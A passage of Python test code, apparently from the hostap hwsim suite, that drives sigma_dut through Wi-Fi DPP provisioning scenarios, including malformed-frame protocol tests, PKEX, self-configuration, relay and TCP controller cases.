res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,6,DPPStep,%s,DPPFrameType,%s,DPPIEAttribute,%s" % (step, frame, attr),
timeout=10)
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly: " + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def test_sigma_dut_dpp_proto_responder(dev, apdev):
"""sigma_dut DPP protocol testing - Responder"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("MissingAttribute", "AuthenticationResponse", "DPPStatus",
"BootstrapResult,OK,AuthResult,Errorsent",
"Missing or invalid required DPP Status attribute"),
("MissingAttribute", "ConfigurationRequest", "EnrolleeNonce",
"BootstrapResult,OK,AuthResult,OK,ConfResult,Errorsent",
"Missing or invalid Enrollee Nonce attribute")]
for step, frame, attr, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_responder(dev, step, frame, attr, result,
fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_responder(dev, step, frame, attr, result, fail):
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
t = threading.Thread(target=dpp_proto_init, args=(dev[1], id1))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,6,DPPStep,%s,DPPFrameType,%s,DPPIEAttribute,%s" % (step, frame, attr), timeout=10)
t.join()
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly:" + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def test_sigma_dut_dpp_proto_stop_at_initiator(dev, apdev):
"""sigma_dut DPP protocol testing - Stop at RX on Initiator"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("AuthenticationResponse",
"BootstrapResult,OK,AuthResult,Errorsent",
None),
("ConfigurationRequest",
"BootstrapResult,OK,AuthResult,OK,ConfResult,Errorsent",
None)]
for frame, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_stop_at_initiator(dev, frame, result, fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_stop_at_initiator(dev, frame, result, fail):
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
cmd = "DPP_LISTEN 2437 role=enrollee"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,6,DPPStep,Timeout,DPPFrameType,%s" % (frame))
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly: " + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def test_sigma_dut_dpp_proto_stop_at_initiator_enrollee(dev, apdev):
"""sigma_dut DPP protocol testing - Stop at TX on Initiator/Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("AuthenticationConfirm",
"BootstrapResult,OK,AuthResult,Errorsent,LastFrameReceived,AuthenticationResponse",
None)]
for frame, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_stop_at_initiator_enrollee(dev, frame,
result, fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_stop_at_initiator_enrollee(dev, frame, result,
fail):
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPStep,Timeout,DPPFrameType,%s" % (frame), timeout=10)
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly: " + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def test_sigma_dut_dpp_proto_stop_at_responder(dev, apdev):
"""sigma_dut DPP protocol testing - Stop at RX on Responder"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("AuthenticationRequest",
"BootstrapResult,OK,AuthResult,Errorsent",
None),
("AuthenticationConfirm",
"BootstrapResult,OK,AuthResult,Errorsent",
None)]
for frame, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_stop_at_responder(dev, frame, result, fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_stop_at_responder(dev, frame, result, fail):
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
t = threading.Thread(target=dpp_proto_init, args=(dev[1], id1))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,6,DPPStep,Timeout,DPPFrameType,%s" % (frame), timeout=10)
t.join()
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly:" + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def dpp_proto_init_pkex(dev):
time.sleep(1)
logger.info("Starting DPP PKEX initiator/configurator in a thread")
cmd = "DPP_CONFIGURATOR_ADD"
res = dev.request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id = dev.dpp_bootstrap_gen(type="pkex")
cmd = "DPP_PKEX_ADD own=%d init=1 conf=sta-dpp configurator=%d code=secret" % (id, conf_id)
if "FAIL" in dev.request(cmd):
raise Exception("Failed to initiate DPP PKEX")
def test_sigma_dut_dpp_proto_initiator_pkex(dev, apdev):
"""sigma_dut DPP protocol testing - Initiator (PKEX)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("InvalidValue", "PKEXCRRequest", "WrappedData",
"BootstrapResult,Errorsent",
None),
("MissingAttribute", "PKEXExchangeRequest", "FiniteCyclicGroup",
"BootstrapResult,Errorsent",
"Missing or invalid Finite Cyclic Group attribute"),
("MissingAttribute", "PKEXCRRequest", "BSKey",
"BootstrapResult,Errorsent",
"No valid peer bootstrapping key found")]
for step, frame, attr, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_initiator_pkex(dev, step, frame, attr,
result, fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_initiator_pkex(dev, step, frame, attr, result, fail):
id1 = dev[1].dpp_bootstrap_gen(type="pkex")
cmd = "DPP_PKEX_ADD own=%d code=secret" % (id1)
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to set PKEX data (responder)")
cmd = "DPP_LISTEN 2437 role=enrollee"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,PKEX,DPPPKEXCode,secret,DPPTimeout,6,DPPStep,%s,DPPFrameType,%s,DPPIEAttribute,%s" % (step, frame, attr))
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly: " + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def test_sigma_dut_dpp_proto_responder_pkex(dev, apdev):
"""sigma_dut DPP protocol testing - Responder (PKEX)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
tests = [("InvalidValue", "PKEXCRResponse", "WrappedData",
"BootstrapResult,Errorsent",
None),
("MissingAttribute", "PKEXExchangeResponse", "DPPStatus",
"BootstrapResult,Errorsent",
"No DPP Status attribute"),
("MissingAttribute", "PKEXCRResponse", "BSKey",
"BootstrapResult,Errorsent",
"No valid peer bootstrapping key found")]
for step, frame, attr, result, fail in tests:
dev[0].request("FLUSH")
dev[1].request("FLUSH")
sigma = start_sigma_dut(dev[0].ifname)
try:
run_sigma_dut_dpp_proto_responder_pkex(dev, step, frame, attr,
result, fail)
finally:
stop_sigma_dut(sigma)
def run_sigma_dut_dpp_proto_responder_pkex(dev, step, frame, attr, result, fail):
t = threading.Thread(target=dpp_proto_init_pkex, args=(dev[1],))
t.start()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,PKEX,DPPPKEXCode,secret,DPPTimeout,6,DPPStep,%s,DPPFrameType,%s,DPPIEAttribute,%s" % (step, frame, attr), timeout=10)
t.join()
if result not in res:
raise Exception("Unexpected result: " + res)
if fail:
ev = dev[1].wait_event(["DPP-FAIL"], timeout=5)
if ev is None or fail not in ev:
raise Exception("Failure not reported correctly:" + str(ev))
dev[1].request("DPP_STOP_LISTEN")
dev[0].dump_monitor()
dev[1].dump_monitor()
def init_sigma_dut_dpp_proto_peer_disc_req(dev, apdev):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"),
conf_id))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
def test_sigma_dut_dpp_proto_peer_disc_req(dev, apdev):
"""sigma_dut DPP protocol testing - Peer Discovery Request"""
sigma = start_sigma_dut(dev[0].ifname)
try:
init_sigma_dut_dpp_proto_peer_disc_req(dev, apdev)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPWaitForConnect,Yes,DPPStep,MissingAttribute,DPPFrameType,PeerDiscoveryRequest,DPPIEAttribute,TransactionID", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,Errorsent" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0", allow_fail=True)
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_self_config(dev, apdev):
"""sigma_dut DPP Configurator enrolling an AP and using self-configuration"""
check_dpp_capab(dev[0])
hapd = hostapd.add_ap(apdev[0], {"ssid": "unconfigured"})
check_dpp_capab(hapd)
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
id = hapd.dpp_bootstrap_gen(chan="81/1", mac=True)
uri = hapd.request("DPP_BOOTSTRAP_GET_URI %d" % id)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,AP,DPPBS,QR,DPPTimeout,6")
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
update_hapd_config(hapd)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPCryptoIdentifier,P-256,DPPBS,QR,DPPAuthRole,Initiator,DPPProvisioningRole,Configurator,DPPAuthDirection,Single,DPPConfIndex,1,DPPTimeout,6,DPPWaitForConnect,Yes,DPPSelfConfigure,Yes"
res = sigma_dut_cmd(cmd, timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
dev[0].set("dpp_config_processing", "0")
def test_sigma_dut_ap_dpp_self_config(dev, apdev, params):
"""sigma_dut DPP AP Configurator using self-configuration"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_dpp_self_config.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
run_sigma_dut_ap_dpp_self_config(dev, apdev)
finally:
stop_sigma_dut(sigma)
dev[0].set("dpp_config_processing", "0", allow_fail=True)
def run_sigma_dut_ap_dpp_self_config(dev, apdev):
check_dpp_capab(dev[0])
sigma_dut_cmd_check("ap_reset_default,program,DPP")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfEnrolleeRole,AP,DPPBS,QR,DPPConfIndex,1,DPPSelfConfigure,Yes,DPPTimeout,6", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
dev[0].set("dpp_config_processing", "2")
id = dev[0].dpp_bootstrap_gen(chan="81/11", mac=True)
uri = dev[0].request("DPP_BOOTSTRAP_GET_URI %d" % id)
cmd = "DPP_LISTEN 2462 role=enrollee"
if "OK" not in dev[0].request(cmd):
raise Exception("Failed to start listen operation")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPSigningKeyECC,P-256,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPTimeout,6"
res = sigma_dut_cmd(cmd)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
dev[0].wait_connected(timeout=20)
dev[0].request("DISCONNECT")
dev[0].wait_disconnected()
sigma_dut_cmd_check("ap_reset_default")
def test_sigma_dut_ap_dpp_relay(dev, apdev, params):
"""sigma_dut DPP AP as Relay to Controller"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_dpp_relay.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
run_sigma_dut_ap_dpp_relay(dev, apdev)
finally:
stop_sigma_dut(sigma)
dev[1].request("DPP_CONTROLLER_STOP")
def run_sigma_dut_ap_dpp_relay(dev, apdev):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
# Controller
conf_id = dev[1].dpp_configurator_add()
dev[1].set("dpp_configurator_params",
" conf=sta-dpp configurator=%d" % conf_id)
id_c = dev[1].dpp_bootstrap_gen()
uri_c = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_c)
res = dev[1].request("DPP_BOOTSTRAP_INFO %d" % id_c)
pkhash = None
for line in res.splitlines():
name, value = line.split('=')
if name == "pkhash":
pkhash = value
break
if not pkhash:
raise Exception("Could not fetch public key hash from Controller")
if "OK" not in dev[1].request("DPP_CONTROLLER_START"):
raise Exception("Failed to start Controller")
sigma_dut_cmd_check("ap_reset_default,program,DPP")
sigma_dut_cmd_check("ap_preset_testparameters,program,DPP,DPPConfiguratorAddress,127.0.0.1,DPPConfiguratorPKHash," + pkhash)
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR")
dev[0].dpp_auth_init(uri=uri_c, role="enrollee")
wait_auth_success(dev[1], dev[0], configurator=dev[1], enrollee=dev[0])
sigma_dut_cmd_check("ap_reset_default")
def dpp_init_tcp_enrollee(dev, id1):
logger.info("Starting DPP initiator/enrollee (TCP) in a thread")
time.sleep(1)
cmd = "DPP_AUTH_INIT peer=%d role=enrollee tcp_addr=127.0.0.1" % id1
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
ev = dev.wait_event(["DPP-CONF-RECEIVED"], timeout=5)
if ev is None:
raise Exception("DPP configuration not completed (Enrollee)")
logger.info("DPP initiator/enrollee done")
def test_sigma_dut_dpp_tcp_conf_resp(dev, apdev):
"""sigma_dut DPP TCP Configurator (Controller) as responder"""
run_sigma_dut_dpp_tcp_conf_resp(dev)
def run_sigma_dut_dpp_tcp_conf_resp(dev, status_query=False):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd(cmd)
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
t = threading.Thread(target=dpp_init_tcp_enrollee, args=(dev[1], id1))
t.start()
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPConfIndex,1,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfEnrolleeRole,STA,DPPSigningKeyECC,P-256,DPPBS,QR,DPPOverTCP,yes,DPPTimeout,6"
if status_query:
cmd += ",DPPStatusQuery,Yes"
res = sigma_dut_cmd(cmd, timeout=10)
t.join()
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
if status_query and "StatusResult,0" not in res:
raise Exception("Status query did not succeed: " + res)
finally:
stop_sigma_dut(sigma)
def dpp_init_tcp_configurator(dev, id1, conf_id):
logger.info("Starting DPP initiator/configurator (TCP) in a thread")
time.sleep(1)
cmd = "DPP_AUTH_INIT peer=%d role=configurator conf=sta-dpp configurator=%d tcp_addr=127.0.0.1" % (id1, conf_id)
if "OK" not in dev.request(cmd):
raise Exception("Failed to initiate DPP Authentication")
ev = dev.wait_event(["DPP-CONF-SENT"], timeout=5)
if ev is None:
raise Exception("DPP configuration not completed (Configurator)")
logger.info("DPP initiator/configurator done")
def test_sigma_dut_dpp_tcp_enrollee_resp(dev, apdev):
"""sigma_dut DPP TCP Enrollee (Controller) as responder"""
run_sigma_dut_dpp_tcp_enrollee_resp(dev)
def run_sigma_dut_dpp_tcp_enrollee_resp(dev, status_query=False):
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd(cmd)
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
cmd = "DPP_CONFIGURATOR_ADD"
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id1 = dev[1].dpp_qr_code(uri)
t = threading.Thread(target=dpp_init_tcp_configurator, args=(dev[1], id1, conf_id))
t.start()
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPSigningKeyECC,P-256,DPPBS,QR,DPPOverTCP,yes,DPPTimeout,6"
if status_query:
cmd += ",DPPStatusQuery,Yes"
res = sigma_dut_cmd(cmd, timeout=10)
t.join()
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
if status_query and "StatusResult,0" not in res:
raise Exception("Status query did not succeed: " + res)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_tcp_enrollee_init(dev, apdev):
"""sigma_dut DPP TCP Enrollee as initiator"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
# Controller
conf_id = dev[1].dpp_configurator_add()
dev[1].set("dpp_configurator_params",
" conf=sta-dpp configurator=%d" % conf_id)
id_c = dev[1].dpp_bootstrap_gen()
uri_c = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_c)
if "OK" not in dev[1].request("DPP_CONTROLLER_START"):
raise Exception("Failed to start Controller")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri_c))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPOverTCP,127.0.0.1,DPPTimeout,6"
res = sigma_dut_cmd(cmd, timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
dev[1].request("DPP_CONTROLLER_STOP")
def test_sigma_dut_ap_dpp_tcp_enrollee_init(dev, apdev, params):
"""sigma_dut DPP AP as TCP Enrollee/initiator"""
logdir = params['prefix'] + ".sigma-hostapd"
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
run_sigma_dut_ap_dpp_tcp_enrollee_init(dev, apdev)
finally:
stop_sigma_dut(sigma)
dev[1].request("DPP_CONTROLLER_STOP")
def run_sigma_dut_ap_dpp_tcp_enrollee_init(dev, apdev):
check_dpp_capab(dev[1])
# Controller
conf_id = dev[1].dpp_configurator_add()
dev[1].set("dpp_configurator_params",
"conf=ap-dpp configurator=%d" % conf_id)
id_c = dev[1].dpp_bootstrap_gen()
uri_c = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_c)
if "OK" not in dev[1].request("DPP_CONTROLLER_START"):
raise Exception("Failed to start Controller")
sigma_dut_cmd_check("ap_reset_default,program,DPP")
sigma_dut_cmd_check("ap_preset_testparameters,Program,DPP,NAME,AP,oper_chn,6")
sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri_c))
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPOverTCP,127.0.0.1,DPPTimeout,6"
res = sigma_dut_cmd(cmd, timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
sigma_dut_cmd_check("ap_reset_default")
def test_sigma_dut_dpp_tcp_enrollee_init_mutual(dev, apdev):
"""sigma_dut DPP TCP Enrollee as initiator with mutual authentication"""
check_dpp_capab(dev[0], min_ver=2)
check_dpp_capab(dev[1], min_ver=2)
sigma = start_sigma_dut(dev[0].ifname)
try:
# Controller
conf_id = dev[1].dpp_configurator_add()
dev[1].set("dpp_configurator_params",
"conf=sta-dpp configurator=%d" % conf_id)
id_c = dev[1].dpp_bootstrap_gen()
uri_c = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_c)
if "OK" not in dev[1].request("DPP_CONTROLLER_START"):
raise Exception("Failed to start Controller")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri_c))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd_check(cmd)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Mutual,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPOverTCP,127.0.0.1,DPPTimeout,6"
res = sigma_dut_cmd(cmd, timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
dev[1].request("DPP_CONTROLLER_STOP")
def test_sigma_dut_dpp_tcp_configurator_init_mutual(dev, apdev):
"""sigma_dut DPP TCP Configurator as initiator with mutual authentication"""
check_dpp_capab(dev[0], min_ver=2)
check_dpp_capab(dev[1], min_ver=2)
sigma = start_sigma_dut(dev[0].ifname)
try:
id_c = dev[1].dpp_bootstrap_gen()
uri_c = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_c)
if "OK" not in dev[1].request("DPP_CONTROLLER_START role=enrollee"):
raise Exception("Failed to start Controller")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri_c))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
cmd = "dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPCryptoIdentifier,P-256,DPPBS,QR"
res = sigma_dut_cmd_check(cmd)
hex = res.split(',')[3]
uri = from_hex(hex)
logger.info("URI from sigma_dut: " + uri)
id1 = dev[1].dpp_qr_code(uri)
cmd = "dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Mutual,DPPProvisioningRole,Configurator,DPPConfIndex,1,DPPConfEnrolleeRole,STA,DPPBS,QR,DPPOverTCP,127.0.0.1,DPPTimeout,6"
res = sigma_dut_cmd(cmd, timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
dev[1].request("DPP_CONTROLLER_STOP")
def test_sigma_dut_dpp_nfc_handover_requestor_enrollee(dev, apdev):
"""sigma_dut DPP/NFC handover requestor as Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
